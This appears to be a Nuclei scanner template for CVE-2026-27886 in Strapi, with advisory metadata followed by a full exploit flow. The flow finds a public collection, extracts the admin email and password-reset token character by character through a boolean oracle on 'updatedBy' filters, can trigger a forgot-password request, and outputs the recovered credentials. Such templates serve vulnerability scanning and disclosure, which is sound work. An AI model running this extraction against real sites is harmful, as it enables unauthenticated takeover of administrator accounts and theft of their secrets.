id: CVE-2026-27886 info: name: Strapi <=5.36.x - Admin Credential Enumeration author: zeroc00I severity: critical description: | Strapi versions starting in 4.0.0 and prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An attacker could use the `where` query parameter on any publicly-accessible content-type with an `updatedBy` field to perform a boolean-oracle attack against private fields on the joined admin_users table, including the resetPasswordToken field, enabling full administrative account takeover without authentication. impact: | An unauthenticated attacker can recover the full admin email address and password-reset token, enabling direct account takeover without any existing credentials. remediation: | Upgrade Strapi to version 5.37.0 or later. The patch introduces explicit query-parameter sanitization via strictParam, addQueryParams, and addBodyParams primitives that reject operator chains traversing into restricted relational targets before reaching the database. reference: - https://github.com/strapi/strapi/security/advisories - https://bishopfox.com/blog/cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi - https://github.com/BishopFox/CVE-2026-27886-check - https://nvd.nist.gov/vuln/detail/CVE-2026-27886 classification: cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N cvss-score: 9.2 cve-id: CVE-2026-27886 epss-score: 0.02519 epss-percentile: 0.84714 cwe-id: CWE-200 cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:* metadata: verified: true max-request: 800 vendor: strapi product: strapi shodan-query: 'http.title:"Strapi"' fofa-query: 'app="strapi-Headless-CMS"' tags: cve,cve2026,strapi,idor,unauth,intrusive variables: collection: "" kind: "collection" probe_col: "" public_role_id: "2" enum_query: "" allow_trigger: "false" trigger_email: "" collection_wordlist: "" discovery_method: "auto" flow: | function detectKind() { try { let d = JSON.parse(template["probe_body"] || "{}"); if (Array.isArray(d.data) || (d.meta && d.meta.pagination)) return "collection"; if (d.data && typeof d.data === "object") return "single"; } catch(e) {} return "collection"; } let collection = template["collection"] || ""; let kind = template["kind"] || "collection"; if (!collection) { http(1); let idsToTry = [2, 1]; try { let d = JSON.parse(template["roles_list_body"] || "{}"); let roles = d.roles || []; for (let i = 0; i < roles.length; i++) { if (roles[i].type === "public" && roles[i].id) { idsToTry = [roles[i].id]; break; } } } catch(e) {} for (let ri = 0; ri < idsToTry.length && !collection; ri++) { set("public_role_id", String(idsToTry[ri])); http(2); try { let d = JSON.parse(template["roles_body"] || "{}"); if (!d.role || d.role.type !== "public") continue; let perms = d.role.permissions || {}; outer: for (let ns of Object.keys(perms)) { if (!ns.startsWith("api::")) continue; let ctrls = perms[ns].controllers || {}; for (let ctrl of Object.keys(ctrls)) { if (ctrls[ctrl].find && ctrls[ctrl].find.enabled) { set("probe_col", ctrl + "s"); http(5); if (template["probe_status"] === "200") { collection = ctrl + "s"; kind = detectKind(); break outer; } set("probe_col", ctrl); http(5); if (template["probe_status"] === "200") { collection = ctrl; kind = detectKind(); break outer; } } } } } catch(e) {} } } if (!collection) { http(3); try { let d = JSON.parse(template["ctb_body"] || "{}"); let items = d.data || []; for (let i = 0; i < items.length; i++) { let ct = items[i]; if (!ct.uid || !ct.uid.startsWith("api::")) continue; let schema = ct.schema || {}; let name = (schema.kind === "singleType") ? schema.singularName : schema.pluralName; if (!name) continue; set("probe_col", name); http(5); if (template["probe_status"] === "200") { collection = name; kind = detectKind(); break; } } } catch(e) {} } if (!collection) { http(4); try { let d = JSON.parse(template["openapi_body"] || "{}"); let paths = Object.keys(d.paths || {}); for (let i = 0; i < paths.length; i++) { let m = paths[i].match(/^\/api\/([a-z][a-z0-9-]+)$/); if (m) { set("probe_col", m[1]); http(5); if (template["probe_status"] === "200") { collection = m[1]; kind = detectKind(); break; } } } } catch(e) {} } if (!collection) { let words; if ((template["collection_wordlist"] || "").length > 0) { javascript(1); let raw = (template["wl_loaded"] || "").replace(/^\s*\[|\]\s*$/g, ""); words = raw.split(/[\s,]+/).map(w => w.trim()).filter(w => w.length > 0); } else { words = ["articles","posts","products","pages","news","blogs","categories","entries","events","comments","users","tags","uploads","global","homepage","home","about","contact","navigation","footer","header","setting","general","seo","social","config"]; } for (let i = 0; i < words.length; i++) { let w = words[i]; if (!w) continue; set("probe_col", w); http(5); if (template["probe_status"] === "200") { collection = w; kind = detectKind(); set("discovery_method", "wordlist"); break; } } } let proceed = collection !== ""; if (proceed) { set("collection", collection); set("kind", kind); http(6); http(7); if (kind === "single") { if (template["baseline_status"] !== "200" || template["probediff_status"] !== "404") { proceed = false; } } else { let base = parseInt(template["total_baseline"] || "0"); let probe = parseInt(template["total_probe"] || "0"); if (base === 0 || probe !== 0) proceed = false; } } function oracleHit() { if (kind === "single") return template["enum_status"] === "200"; return parseInt(template["total_enum"] || "0") > 0; } function hit(q) { set("enum_query", q); http(8); return oracleHit(); } if (proceed) { let hexAlpha = "0123456789abcdef"; let emailAlpha = "+-.0123456789@_abcdefghijklmnopqrstuvwxyz"; let tokenLen = 40; let emailMax = 48; let canary = "qzx" + Math.random().toString(36).slice(2,12) + Math.random().toString(36).slice(2,8); if (hit("where[updatedBy][email][$startsWith]=" + encodeURIComponent(canary))) { proceed = false; } let isoPrefix = "where[updatedBy][resetPasswordToken][$notNull]=true"; let hasToken = proceed && hit(isoPrefix); let iso = hasToken ? (isoPrefix + "&") : ""; function extract(field, alpha, maxLen) { let val = ""; for (let pos = 0; pos < maxLen; pos++) { let lock = iso; if (val.length > 0) { lock += "where[updatedBy][" + field + "][$startsWith]=" + encodeURIComponent(val) + "&"; } let lo = 0, hi = alpha.length - 1, ans = -1; while (lo <= hi) { let mid = Math.floor((lo + hi) / 2); let q = lock + "where[updatedBy][" + field + "][$gte]=" + encodeURIComponent(val + alpha[mid]); if (hit(q)) { ans = mid; lo = mid + 1; } else { hi = mid - 1; } } if (ans < 0) break; val += alpha[ans]; } return val; } if (proceed) { let email = extract("email", emailAlpha, emailMax); set("admin_email", email); let triggered = false; if (!hasToken && template["allow_trigger"] === "true" && email.length > 0) { set("trigger_email", email); http(10); let pin = "where[updatedBy][resetPasswordToken][$notNull]=true&where[updatedBy][email][$startsWith]=" + encodeURIComponent(email); if (hit(pin)) { hasToken = true; triggered = true; iso = pin + "&"; } } set("trigger_used", triggered ? "true" : "false"); if (hasToken) { let token = extract("resetPasswordToken", hexAlpha, tokenLen); set("admin_token", token); } if (email.length > 0) http(9); } } javascript: - code: | wl; args: wl: "{{collection_wordlist}}" extractors: - type: dsl name: wl_loaded internal: true dsl: - 'response' http: - raw: - | GET /api/users-permissions/roles HTTP/1.1 Host: {{Hostname}} Accept: application/json extractors: - type: dsl name: roles_list_body internal: true dsl: - 'body' - raw: - | GET /api/users-permissions/roles/{{public_role_id}} HTTP/1.1 Host: {{Hostname}} Accept: application/json extractors: - type: dsl name: roles_body internal: true dsl: - 'body' - raw: - | GET /api/content-type-builder/content-types HTTP/1.1 Host: {{Hostname}} Accept: application/json extractors: - type: dsl name: ctb_body internal: true dsl: - 'body' - raw: - | GET /documentation/v1.0.0/api.json HTTP/1.1 Host: {{Hostname}} Accept: application/json extractors: - type: dsl name: openapi_body internal: true dsl: - 'body' - raw: - | GET /api/{{probe_col}} HTTP/1.1 Host: {{Hostname}} Accept: application/json extractors: - type: dsl name: probe_status internal: true dsl: - 'status_code' - type: dsl name: probe_body internal: true dsl: - 'body' - raw: - | GET /api/{{collection}} HTTP/1.1 Host: {{Hostname}} Accept: application/json extractors: - type: json name: total_baseline internal: true json: - ".meta.pagination.total" - type: dsl name: baseline_status internal: true dsl: - 'status_code' - raw: - | GET /api/{{collection}}?where[id][$lt]=-1 HTTP/1.1 Host: {{Hostname}} Accept: application/json extractors: - type: json name: total_probe internal: true json: - ".meta.pagination.total" - type: dsl name: probediff_status internal: true dsl: - 'status_code' - raw: - | GET /api/{{collection}}?{{enum_query}} HTTP/1.1 Host: {{Hostname}} Accept: application/json extractors: - type: json name: total_enum internal: true json: - ".meta.pagination.total" - type: dsl name: enum_status internal: true dsl: - 'status_code' - raw: - | GET /api/{{collection}} HTTP/1.1 Host: {{Hostname}} Accept: application/json matchers: - type: dsl dsl: - 'len(admin_email) > 0 || len(admin_token) > 0' extractors: - type: dsl name: credentials dsl: - 'admin_email + " | " + admin_token' - type: dsl name: via_fuzzing dsl: - 'discovery_method == "wordlist" ? "FUZZED-collection=" + collection : ""' - raw: - | POST /admin/forgot-password HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"email":"{{trigger_email}}"} # digest: 490a0046304402206732024372ee0bca0334b0ad3f811cd24025b4d4a444ab384b0d6c1b23160c96022039edc5f2fe708b95c0612cb24ec6edaf59dc069c745d1d47e816189a834e755b:922c64590222798bb761d5b6d8e72950